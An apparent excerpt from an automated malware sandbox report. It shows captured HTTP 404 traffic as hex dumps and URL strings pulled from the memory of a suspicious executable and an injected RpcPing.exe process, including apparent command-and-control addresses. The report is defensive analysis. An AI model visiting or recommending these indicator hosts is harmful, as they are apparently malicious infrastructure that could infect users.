a2 4f 7e 4e e5 ec 74 5e 2c 47 7c 63 9e 75 12 16 a3 ab 23 fa 3f a3 97 f1 d8 71 fd a6 f6 c1 9f 46 f3 77 fe 3d b6 1e 1e 3c 76 8d f6 50 48 77 12 d2 33 4e 01 95 1a 14 16 6d 15 e2 0a b1 79 af 9b 1a 9d 32 6e 0f 84 e3 ef ed cd 16 7a 6c 81 42 38 0a 8c 8b c6 c0 eb 60 9a 8a 61 ce b0 ef 31 e1 f3 c9 0b 6c 60 6d 75 72 02 00 00 0d 0a 30 0d 0a 0d 0a Data Ascii: 189}QKO0Wz7C&HE(hbx3!' '1Mcg_onbrq4K2bs&$!Y~/qZr)R\|V}cplxXU*!6pBNI+MteRFSYj[7\|QqY3k\|G;,^{NPPouvw2O7.e(O~Nt^,G\|cu#?qFw=<vPHw3Nmy2nzlB8`a1l`mur0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/htmlTransfer-Encoding: chunkedConnection: closeDate: Wed, 03 Jul 2024 15:41:43 GMTServer: ApacheContent-Encoding: gzipData Raw: 31 38 39 0d 0a 1f 8b 08 00 00 00 00 00 00 03 7d 51 4b 4f e3 30 10 be f7 57 cc 7a 0f 9c 1c 37 94 43 9b 26 1c b6 ad b4 48 85 45 28 88 e5 68 62 b7 b1 e4 78 82 33 21 0d bf 1e 27 e5 b1 20 b4 27 8f ed ef 31 f3 4d fa 63 fd 67 95 df 5f 6f a0 a4 ca c2 f5 ed af ed c5 0a 18 17 e2 6e b6 12 62 9d af e1 ef ef fc 72 0b 71 34 85 dc 4b d7 18 32 e8 a4 15 62 73 c5 26 ac 24 aa 13 21 ba ae 8b ba 59 84 7e 2f f2 1b 71 18 b4 e2 81 fc 5a 72 fa 87 19 29 52 ec 7c 92 8e 86 56 ba 7d c6 b4 63 70 a8 6c f2 e9 e6 9a ec 1b f9 78 b1 58 1c 55 83 06 a4 a5 96 2a 9c 90 92 21 ab 87 0a 36 de a3 87 b3 e9 19 70 b8 42 82 1d b6 4e 0d 10 f1 8e 49 2b 4d 12 0a 74 a4 1d 65 8c f4 81 c4 d0 ce 12 8a 52 fa 46 53 d6 d2 8e cf 59 08 85 6a ae 1f 5b f3 94 b1 d5 11 ce f3 be d6 83 37 7c 51 71 c8 0b 59 94 fa 33 6b 7c e2 83 95 47 3b b6 2c 5e 7b 4e 1f 50 f5 d0 50 6f 75 c6 76 01 c0 77 b2 32 b6 4f a4 37 d2 2e 8f 16 65 fc 86 28 d0 a2 4f 7e 4e e5 ec 74 5e 2c 47 7c 63 9e 75 12 16 a3 ab 23 fa 3f a3 97 f1 d8 71 fd a6 f6 c1 9f 46 f3 77 fe 3d b6 1e 1e 3c 76 8d f6 50 48 77 12 d2 33 4e 01 95 1a 14 16 6d 15 e2 0a b1 79 af 9b 1a 9d 32 6e 0f 84 e3 ef ed cd 16 7a 6c 81 42 38 0a 8c 8b c6 c0 eb 60 9a 8a 61 ce b0 ef 31 e1 f3 c9 0b 6c 60 6d 75 72 02 00 00 0d 0a 30 0d 0a 0d 0a Data Ascii: 189}QKO0Wz7C&HE(hbx3!' '1Mcg_onbrq4K2bs&$!Y~/qZr)R\|V}cplxXU*!6pBNI+MteRFSYj[7\|QqY3k\|G;,^{NPPouvw2O7.e(O~Nt^,G\|cu#?qFw=<vPHw3Nmy2nzlB8`a1l`mur0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/htmlTransfer-Encoding: chunkedConnection: closeDate: Wed, 03 Jul 2024 15:41:46 GMTServer: ApacheContent-Encoding: gzipData Raw: 31 38 39 0d 0a 1f 8b 08 00 00 00 00 00 00 03 7d 51 4b 4f e3 30 10 be f7 57 cc 7a 0f 9c 1c 37 94 43 9b 26 1c b6 ad b4 48 85 45 28 88 e5 68 62 b7 b1 e4 78 82 33 21 0d bf 1e 27 e5 b1 20 b4 27 8f ed ef 31 f3 4d fa 63 fd 67 95 df 5f 6f a0 a4 ca c2 f5 ed af ed c5 0a 18 17 e2 6e b6 12 62 9d af e1 ef ef fc 72 0b 71 34 85 dc 4b d7 18 32 e8 a4 15 62 73 c5 26 ac 24 aa 13 21 ba ae 8b ba 59 84 7e 2f f2 1b 71 18 b4 e2 81 fc 5a 72 fa 87 19 29 52 ec 7c 92 8e 86 56 ba 7d c6 b4 63 70 a8 6c f2 e9 e6 9a ec 1b f9 78 b1 58 1c 55 83 06 a4 a5 96 2a 9c 90 92 21 ab 87 0a 36 de a3 87 b3 e9 19 70 b8 42 82 1d b6 4e 0d 10 f1 8e 49 2b 4d 12 0a 74 a4 1d 65 8c f4 81 c4 d0 ce 12 8a 52 fa 46 53 d6 d2 8e cf 59 08 85 6a ae 1f 5b f3 94 b1 d5 11 ce f3 be d6 83 37 7c 51 71 c8 0b 59 94 fa 33 6b 7c e2 83 95 47 3b b6 2c 5e 7b 4e 1f 50 f5 d0 50 6f 75 c6 76 01 c0 77 b2 32 b6 4f a4 37 d2 2e 8f 16 65 fc 86 28 d0 a2 4f 7e 4e e5 ec 74 5e 2c 47 7c 63 9e 75 12 16 a3 ab 23 fa 3f a3 97 f1 d8 71 fd a6 f6 c1 9f 46 f3 77 fe 3d b6 1e 1e 3c 76 8d f6 50 48 77 12 d2 33 4e 01 95 1a 14 16 6d 15 e2 0a b1 79 af 9b 1a 9d 32 6e 0f 84 e3 ef ed cd 16 7a 6c 81 42 38 0a 8c 8b c6 c0 eb 60 9a 8a 61 ce b0 ef 31 e1 f3 c9 0b 6c 60 6d 75 72 02 00 00 0d 0a 30 0d 0a 0d 0a Data Ascii: 189}QKO0Wz7C&HE(hbx3!' '1Mcg_onbrq4K2bs&$!Y~/qZr)R\|V}cplxXU*!6pBNI+MteRFSYj[7\|QqY3k\|G;,^{NPPouvw2O7.e(O~Nt^,G\|cu#?qFw=<vPHw3Nmy2nzlB8`a1l`mur0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/htmlContent-Length: 626Connection: closeDate: Wed, 03 Jul 2024 15:41:49 GMTServer: ApacheData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 20 31 2e 30 20 54 72 61 6e 73 69 74 69 6f 6e 61 6c 2f 2f 45 4e 22 0a 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 78 68 74 6d 6c 31 2f 44 54 44 2f 78 68 74 6d 6c 31 2d 74 72 61 6e 73 69 74 69 6f 6e 61 6c 2e 64 74 64 22 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 78 6d 6c 3a 6c 61 6e 67 3d 22 65 6e 22 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 3e 0a 20 3c 68 65 61 64 3e 0a 20 20 3c 74 69 74 6c 65 3e 0a 20 20 20 45 72 72 6f 72 20 34 30 34 20 2d 20 4e 6f 74 20 66 6f 75 6e 64 0a 20 20 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 6d 65 74 61 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 3e 0a 20 20 3c 6d 65 74 61 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 2d 63 61 63 68 65 22 20 68 74 74 70 2d 65 71 75 69 76 3d 22 63 61 63 68 65 2d 63 6f 6e 74 72 6f 6c 22 3e 0a 20 3c 2f 68 65 61 64 3e 0a 20 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 61 72 69 61 6c 3b 22 3e 0a 20 20 3c 68 31 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 23 30 61 33 32 38 63 3b 66 6f 6e 74 2d 73 69 7a 65 3a 31 2e 30 65 6d 3b 22 3e 0a 20 20 20 45 72 72 6f 72 20 34 30 34 20 2d 20 4e 6f 74 20 66 6f 75 6e 64 0a 20 20 3c 2f 68 31 3e 0a 20 20 3c 70 20 73 74 79 6c 65 3d 22 66 6f 6e 74 2d 73 69 7a 65 3a 30 2e 38 65 6d 3b 22 3e 0a 20 20 20 59 6f 75 72 20 62 72 6f 77 73 65 72 20 63 61 6e 27 74 20 66 69 6e 64 20 74 68 65 20 64 6f 63 75 6d 65 6e 74 20 63 6f 72 72 65 73 70 6f 6e 64 69 6e 67 20 74 6f 20 74 68 65 20 55 52 4c 20 79 6f 75 20 74 79 70 65 64 20 69 6e 2e 0a 20 20 3c 2f 70 3e 0a 20 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN""http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><html lang="en" xml:lang="en" xmlns="http://www.w3.org/1999/xhtml"> <head> <title> Error 404 - Not found </title> <meta content="text/html; charset=utf-8" http-equiv="Content-Type"> <meta content="no-cache" http-equiv="cache-control"> </head> <body style="font-family:arial;"> <h1 style="color:#0a328c;font-size:1.0em;"> Error 404 - Not found </h1> <p style="font-size:0.8em;"> Your browser can't find the document corresponding to the URL you typed in. </p> </body></html>

Source: jFlHFdZgIYNZqR.exe, 00000005.00000002.23187306582.0000000003AD0000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: http://lakemontbellevue.net/wp-content/plugins/bluehost-wordpress-plugin/vendor/newfold-labs/wp-modu
Source: RpcPing.exe, 00000004.00000002.23187811443.0000000004690000.00000004.10000000.00040000.00000000.sdmp, jFlHFdZgIYNZqR.exe, 00000005.00000002.23187306582.0000000003AD0000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: http://lakemontbellevue.net/wp-content/themes/awp-marketing-agency/assets/css/dark-brown-theme.css?v
Source: jFlHFdZgIYNZqR.exe, 00000005.00000002.23187306582.0000000003AD0000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: http://lakemontbellevue.net/wp-content/themes/awp-marketing-agency/style.css?ver=6.5.5
Source: RpcPing.exe, 00000004.00000002.23187811443.0000000004690000.00000004.10000000.00040000.00000000.sdmp, jFlHFdZgIYNZqR.exe, 00000005.00000002.23187306582.0000000003AD0000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: http://lakemontbellevue.net/wp-content/themes/awpbusinesspress//assets/js/menu.js?ver=6.5.5
Source: RpcPing.exe, 00000004.00000002.23187811443.0000000004690000.00000004.10000000.00040000.00000000.sdmp, jFlHFdZgIYNZqR.exe, 00000005.00000002.23187306582.0000000003AD0000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: http://lakemontbellevue.net/wp-content/themes/awpbusinesspress//assets/js/mobile-menu.js?ver=6.5.5
Source: RpcPing.exe, 00000004.00000002.23187811443.0000000004690000.00000004.10000000.00040000.00000000.sdmp, jFlHFdZgIYNZqR.exe, 00000005.00000002.23187306582.0000000003AD0000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: http://lakemontbellevue.net/wp-content/themes/awpbusinesspress//assets/js/screen-reader-text.js?ver=
Source: RpcPing.exe, 00000004.00000002.23187811443.0000000004690000.00000004.10000000.00040000.00000000.sdmp, jFlHFdZgIYNZqR.exe, 00000005.00000002.23187306582.0000000003AD0000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: http://lakemontbellevue.net/wp-content/themes/awpbusinesspress/assets/css/all.min.css?ver=6.5.5
Source: RpcPing.exe, 00000004.00000002.23187811443.0000000004690000.00000004.10000000.00040000.00000000.sdmp, jFlHFdZgIYNZqR.exe, 00000005.00000002.23187306582.0000000003AD0000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: http://lakemontbellevue.net/wp-content/themes/awpbusinesspress/assets/css/animate.css?ver=6.5.5
Source: RpcPing.exe, 00000004.00000002.23187811443.0000000004690000.00000004.10000000.00040000.00000000.sdmp, jFlHFdZgIYNZqR.exe, 00000005.00000002.23187306582.0000000003AD0000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: http://lakemontbellevue.net/wp-content/themes/awpbusinesspress/assets/css/bootstrap-smartmenus.css?v
Source: RpcPing.exe, 00000004.00000002.23187811443.0000000004690000.00000004.10000000.00040000.00000000.sdmp, jFlHFdZgIYNZqR.exe, 00000005.00000002.23187306582.0000000003AD0000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: http://lakemontbellevue.net/wp-content/themes/awpbusinesspress/assets/css/bootstrap.min.css?ver=6.5.
Source: RpcPing.exe, 00000004.00000002.23187811443.0000000004690000.00000004.10000000.00040000.00000000.sdmp, jFlHFdZgIYNZqR.exe, 00000005.00000002.23187306582.0000000003AD0000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: http://lakemontbellevue.net/wp-content/themes/awpbusinesspress/assets/css/font-awesome/css/font-awes
Source: RpcPing.exe, 00000004.00000002.23187811443.0000000004690000.00000004.10000000.00040000.00000000.sdmp, jFlHFdZgIYNZqR.exe, 00000005.00000002.23187306582.0000000003AD0000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: http://lakemontbellevue.net/wp-content/themes/awpbusinesspress/assets/css/loading-icon.css?ver=6.5.5
Source: RpcPing.exe, 00000004.00000002.23187811443.0000000004690000.00000004.10000000.00040000.00000000.sdmp, jFlHFdZgIYNZqR.exe, 00000005.00000002.23187306582.0000000003AD0000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: http://lakemontbellevue.net/wp-content/themes/awpbusinesspress/assets/css/menu.css?ver=6.5.5
Source: RpcPing.exe, 00000004.00000002.23187811443.0000000004690000.00000004.10000000.00040000.00000000.sdmp, jFlHFdZgIYNZqR.exe, 00000005.00000002.23187306582.0000000003AD0000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: http://lakemontbellevue.net/wp-content/themes/awpbusinesspress/assets/css/owl.carousel.css?ver=6.5.5
Source: RpcPing.exe, 00000004.00000002.23187811443.0000000004690000.00000004.10000000.00040000.00000000.sdmp, jFlHFdZgIYNZqR.exe, 00000005.00000002.23187306582.0000000003AD0000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: http://lakemontbellevue.net/wp-content/themes/awpbusinesspress/assets/css/skin-default.css?ver=6.5.5
Source: RpcPing.exe, 00000004.00000002.23187811443.0000000004690000.00000004.10000000.00040000.00000000.sdmp, jFlHFdZgIYNZqR.exe, 00000005.00000002.23187306582.0000000003AD0000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: http://lakemontbellevue.net/wp-content/themes/awpbusinesspress/assets/js/animation/animate.js?ver=6.
Source: RpcPing.exe, 00000004.00000002.23187811443.0000000004690000.00000004.10000000.00040000.00000000.sdmp, jFlHFdZgIYNZqR.exe, 00000005.00000002.23187306582.0000000003AD0000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: http://lakemontbellevue.net/wp-content/themes/awpbusinesspress/assets/js/bootstrap.min.js?ver=6.5.5
Source: RpcPing.exe, 00000004.00000002.23187811443.0000000004690000.00000004.10000000.00040000.00000000.sdmp, jFlHFdZgIYNZqR.exe, 00000005.00000002.23187306582.0000000003AD0000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: http://lakemontbellevue.net/wp-content/themes/awpbusinesspress/assets/js/custom.js?ver=6.5.5
Source: RpcPing.exe, 00000004.00000002.23187811443.0000000004690000.00000004.10000000.00040000.00000000.sdmp, jFlHFdZgIYNZqR.exe, 00000005.00000002.23187306582.0000000003AD0000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: http://lakemontbellevue.net/wp-content/themes/awpbusinesspress/assets/js/jquery.min.js?ver=6.5.5
Source: RpcPing.exe, 00000004.00000002.23187811443.0000000004690000.00000004.10000000.00040000.00000000.sdmp, jFlHFdZgIYNZqR.exe, 00000005.00000002.23187306582.0000000003AD0000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: http://lakemontbellevue.net/wp-content/themes/awpbusinesspress/assets/js/main.js?ver=6.5.5
Source: RpcPing.exe, 00000004.00000002.23187811443.0000000004690000.00000004.10000000.00040000.00000000.sdmp, jFlHFdZgIYNZqR.exe, 00000005.00000002.23187306582.0000000003AD0000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: http://lakemontbellevue.net/wp-content/themes/awpbusinesspress/assets/js/owl.carousel.min.js?ver=6.5
Source: RpcPing.exe, 00000004.00000002.23187811443.0000000004690000.00000004.10000000.00040000.00000000.sdmp, jFlHFdZgIYNZqR.exe, 00000005.00000002.23187306582.0000000003AD0000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: http://lakemontbellevue.net/wp-content/themes/awpbusinesspress/assets/js/wow.js?ver=6.5.5
Source: RpcPing.exe, 00000004.00000002.23187811443.0000000004690000.00000004.10000000.00040000.00000000.sdmp, jFlHFdZgIYNZqR.exe, 00000005.00000002.23187306582.0000000003AD0000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: http://lakemontbellevue.net/wp-content/themes/awpbusinesspress/style.css?ver=6.5.5
Source: RpcPing.exe, 00000004.00000002.23187811443.0000000004690000.00000004.10000000.00040000.00000000.sdmp, jFlHFdZgIYNZqR.exe, 00000005.00000002.23187306582.0000000003AD0000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: http://lakemontbellevue.net/wp-includes/css/dist/block-library/style.min.css?ver=6.5.5
Source: RpcPing.exe, 00000004.00000002.23187811443.0000000004690000.00000004.10000000.00040000.00000000.sdmp, jFlHFdZgIYNZqR.exe, 00000005.00000002.23187306582.0000000003AD0000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: http://lakemontbellevue.net/wp-includes/js/comment-reply.min.js?ver=6.5.5
Source: RpcPing.exe, 00000004.00000002.23187811443.0000000004690000.00000004.10000000.00040000.00000000.sdmp, jFlHFdZgIYNZqR.exe, 00000005.00000002.23187306582.0000000003AD0000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: http://lakemontbellevue.net/wp-includes/js/jquery/jquery-migrate.min.js?ver=3.4.1
Source: RpcPing.exe, 00000004.00000002.23187811443.0000000004690000.00000004.10000000.00040000.00000000.sdmp, jFlHFdZgIYNZqR.exe, 00000005.00000002.23187306582.0000000003AD0000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: http://lakemontbellevue.net/wp-includes/js/jquery/jquery.min.js?ver=3.7.1
Source: RpcPing.exe, 00000004.00000002.23187811443.0000000004690000.00000004.10000000.00040000.00000000.sdmp, jFlHFdZgIYNZqR.exe, 00000005.00000002.23187306582.0000000003AD0000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: http://lakemontbellevue.net/wp-includes/js/mediaelement/mediaelementplayer-legacy.min.css?ver=4.2.17
Source: RpcPing.exe, 00000004.00000002.23187811443.0000000004690000.00000004.10000000.00040000.00000000.sdmp, jFlHFdZgIYNZqR.exe, 00000005.00000002.23187306582.0000000003AD0000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: http://lakemontbellevue.net/wp-includes/js/mediaelement/wp-mediaelement.min.css?ver=6.5.5
Source: RpcPing.exe, 00000004.00000002.23187811443.0000000004822000.00000004.10000000.00040000.00000000.sdmp, jFlHFdZgIYNZqR.exe, 00000005.00000002.23187306582.0000000003C62000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: http://vintagewins.com/n8dl/?vX=FC28
Source: RpcPing.exe, 00000004.00000002.23187811443.0000000004CD8000.00000004.10000000.00040000.00000000.sdmp, jFlHFdZgIYNZqR.exe, 00000005.00000002.23187306582.0000000004118000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: http://voupeclients.com
Source: jFlHFdZgIYNZqR.exe, 00000005.00000002.23185812160.0000000000E75000.00000040.80000000.00040000.00000000.sdmp	String found in binary or memory: http://www.orthonow.live
Source: jFlHFdZgIYNZqR.exe, 00000005.00000002.23185812160.0000000000E75000.00000040.80000000.00040000.00000000.sdmp	String found in binary or memory: http://www.orthonow.live/c7lp/
Source: RpcPing.exe, 00000004.00000002.23187811443.0000000003EB6000.00000004.10000000.00040000.00000000.sdmp, jFlHFdZgIYNZqR.exe, 00000005.00000002.23187306582.00000000032F6000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://aaa.za1.jecxs.cn/123.html
Source: RpcPing.exe, 00000004.00000003.18883512956.0000000007B99000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: jFlHFdZgIYNZqR.exe, 00000005.00000002.23187306582.0000000003AD0000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://api.w.org/
Source: RpcPing.exe, 00000004.00000003.18883512956.0000000007B99000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: RpcPing.exe, 00000004.00000002.23187811443.0000000004690000.00000004.10000000.00040000.00000000.sdmp, jFlHFdZgIYNZqR.exe, 00000005.00000002.23187306582.0000000003AD0000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://cdn.userway.org/widget.js
Source: RpcPing.exe, 00000004.00000002.23187811443.00000000049B4000.00000004.10000000.00040000.00000000.sdmp, jFlHFdZgIYNZqR.exe, 00000005.00000002.23187306582.0000000003DF4000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://cdnjs.cloudflare.com/ajax/libs/normalize/5.0.0/normalize.min.css
Source: 45570IH2.4.dr	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: RpcPing.exe, 00000004.00000003.18883512956.0000000007B99000.00000004.00000020.00020000.00000000.sdmp, 45570IH2.4.dr	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: 45570IH2.4.dr	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: RpcPing.exe, 00000004.00000002.23187811443.0000000004690000.00000004.10000000.00040000.00000000.sdmp, jFlHFdZgIYNZqR.exe, 00000005.00000002.23187306582.0000000003AD0000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://fonts.googleapis.com/css?family=Montserrat%3A300%2C300i%2C400%2C400i%2C500%2C500i%2C600%2C70
Source: RpcPing.exe, 00000004.00000002.23187811443.0000000004690000.00000004.10000000.00040000.00000000.sdmp, jFlHFdZgIYNZqR.exe, 00000005.00000002.23187306582.0000000003AD0000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://fonts.googleapis.com/css?family=Open
Source: RpcPing.exe, 00000004.00000002.23187811443.0000000003EB6000.00000004.10000000.00040000.00000000.sdmp, jFlHFdZgIYNZqR.exe, 00000005.00000002.23187306582.00000000032F6000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://hm.baidu.com/hm.js?800ccf274c3a593a3653e6acbfb00c7c
Source: RpcPing.exe, 00000004.00000002.23187811443.0000000003EB6000.00000004.10000000.00040000.00000000.sdmp, jFlHFdZgIYNZqR.exe, 00000005.00000002.23187306582.00000000032F6000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://hm.baidu.com/hm.js?be472e8744edb3816324a1183cdffac6
Source: jFlHFdZgIYNZqR.exe, 00000005.00000002.23187306582.0000000003AD0000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://i0.wp.com/lakemontbellevue.net/wp-content/uploads/2024/05/Lakemont-Logo-1-1.png?fit=220%2C70
Source: RpcPing.exe, 00000004.00000002.23187811443.0000000004690000.00000004.10000000.00040000.00000000.sdmp, jFlHFdZgIYNZqR.exe, 00000005.00000002.23187306582.0000000003AD0000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://i0.wp.com/lakemontbellevue.net/wp-content/uploads/2024/05/MacPhersons-Logo.png?resize=150%2C
Source: RpcPing.exe, 00000004.00000002.23187811443.0000000004690000.00000004.10000000.00040000.00000000.sdmp, jFlHFdZgIYNZqR.exe, 00000005.00000002.23187306582.0000000003AD0000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://i0.wp.com/lakemontbellevue.net/wp-content/uploads/2024/05/MacPhersons-Logo.png?resize=300%2C
Source: RpcPing.exe, 00000004.00000002.23187811443.0000000004690000.00000004.10000000.00040000.00000000.sdmp, jFlHFdZgIYNZqR.exe, 00000005.00000002.23187306582.0000000003AD0000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://i0.wp.com/lakemontbellevue.net/wp-content/uploads/2024/05/MacPhersons-Logo.png?w=512&ssl
Source: jFlHFdZgIYNZqR.exe, 00000005.00000002.23187306582.0000000003AD0000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://i0.wp.com/lakemontbellevue.net/wp-content/uploads/2024/05/cropped-Lakemont-favicon.png?fit=1
Source: RpcPing.exe, 00000004.00000002.23187811443.0000000004690000.00000004.10000000.00040000.00000000.sdmp, jFlHFdZgIYNZqR.exe, 00000005.00000002.23187306582.0000000003AD0000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://i0.wp.com/lakemontbellevue.net/wp-content/uploads/2024/05/cropped-Lakemont-favicon.png?fit=2
Source: RpcPing.exe, 00000004.00000002.23187811443.0000000004690000.00000004.10000000.00040000.00000000.sdmp, jFlHFdZgIYNZqR.exe, 00000005.00000002.23187306582.0000000003AD0000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://i0.wp.com/lakemontbellevue.net/wp-content/uploads/2024/05/cropped-Lakemont-favicon.png?fit=3
Source: RpcPing.exe, 00000004.00000002.23187811443.0000000004690000.00000004.10000000.00040000.00000000.sdmp, jFlHFdZgIYNZqR.exe, 00000005.00000002.23187306582.0000000003AD0000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://lakemontbellevue.net
Source: jFlHFdZgIYNZqR.exe, 00000005.00000002.23187306582.0000000003AD0000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://lakemontbellevue.net/
Source: jFlHFdZgIYNZqR.exe, 00000005.00000002.23187306582.0000000003AD0000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://lakemontbellevue.net/#/schema/logo/image/
Source: jFlHFdZgIYNZqR.exe, 00000005.00000002.23187306582.0000000003AD0000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://lakemontbellevue.net/#organization
Source: RpcPing.exe, 00000004.00000002.23187811443.0000000004690000.00000004.10000000.00040000.00000000.sdmp, jFlHFdZgIYNZqR.exe, 00000005.00000002.23187306582.0000000003AD0000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://lakemontbellevue.net/#website
Source: RpcPing.exe, 00000004.00000002.23187811443.0000000004690000.00000004.10000000.00040000.00000000.sdmp, jFlHFdZgIYNZqR.exe, 00000005.00000002.23187306582.0000000003AD0000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://lakemontbellevue.net/?s=
Source: RpcPing.exe, 00000004.00000002.23187811443.0000000004690000.00000004.10000000.00040000.00000000.sdmp, jFlHFdZgIYNZqR.exe, 00000005.00000002.23187306582.0000000003AD0000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://lakemontbellevue.net/comments/feed/
Source: RpcPing.exe, 00000004.00000002.23187811443.0000000004690000.00000004.10000000.00040000.00000000.sdmp, jFlHFdZgIYNZqR.exe, 00000005.00000002.23187306582.0000000003AD0000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://lakemontbellevue.net/feed/
Source: RpcPing.exe, 00000004.00000002.23187811443.0000000004690000.00000004.10000000.00040000.00000000.sdmp, jFlHFdZgIYNZqR.exe, 00000005.00000002.23187306582.0000000003AD0000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://lakemontbellevue.net/privacy-policy/
Source: RpcPing.exe, 00000004.00000002.23187811443.0000000004690000.00000004.10000000.00040000.00000000.sdmp, jFlHFdZgIYNZqR.exe, 00000005.00000002.23187306582.0000000003AD0000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://lakemontbellevue.net/wp-content/uploads/2024/05/Lakemont-Logo-1-1.png
Source: RpcPing.exe, 00000004.00000002.23187811443.0000000004690000.00000004.10000000.00040000.00000000.sdmp, jFlHFdZgIYNZqR.exe, 00000005.00000002.23187306582.0000000003AD0000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://lakemontbellevue.net/wp-content/uploads/2024/05/MacPhersons-Logo.png
Source: jFlHFdZgIYNZqR.exe, 00000005.00000002.23187306582.0000000003AD0000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://lakemontbellevue.net/wp-json/
Source: RpcPing.exe, 00000004.00000002.23187811443.0000000004690000.00000004.10000000.00040000.00000000.sdmp, jFlHFdZgIYNZqR.exe, 00000005.00000002.23187306582.0000000003AD0000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://lakemontbellevue.net/xmlrpc.php?rsd
Source: RpcPing.exe, 00000004.00000003.19090634161.0000000002E54000.00000004.00000020.00020000.00000000.sdmp, RpcPing.exe, 00000004.00000003.18795960669.0000000002E54000.00000004.00000020.00020000.00000000.sdmp, RpcPing.exe, 00000004.00000003.18795622494.0000000002E37000.00000004.00000020.00020000.00000000.sdmp, RpcPing.exe, 00000004.00000002.23185487157.0000000002E54000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/
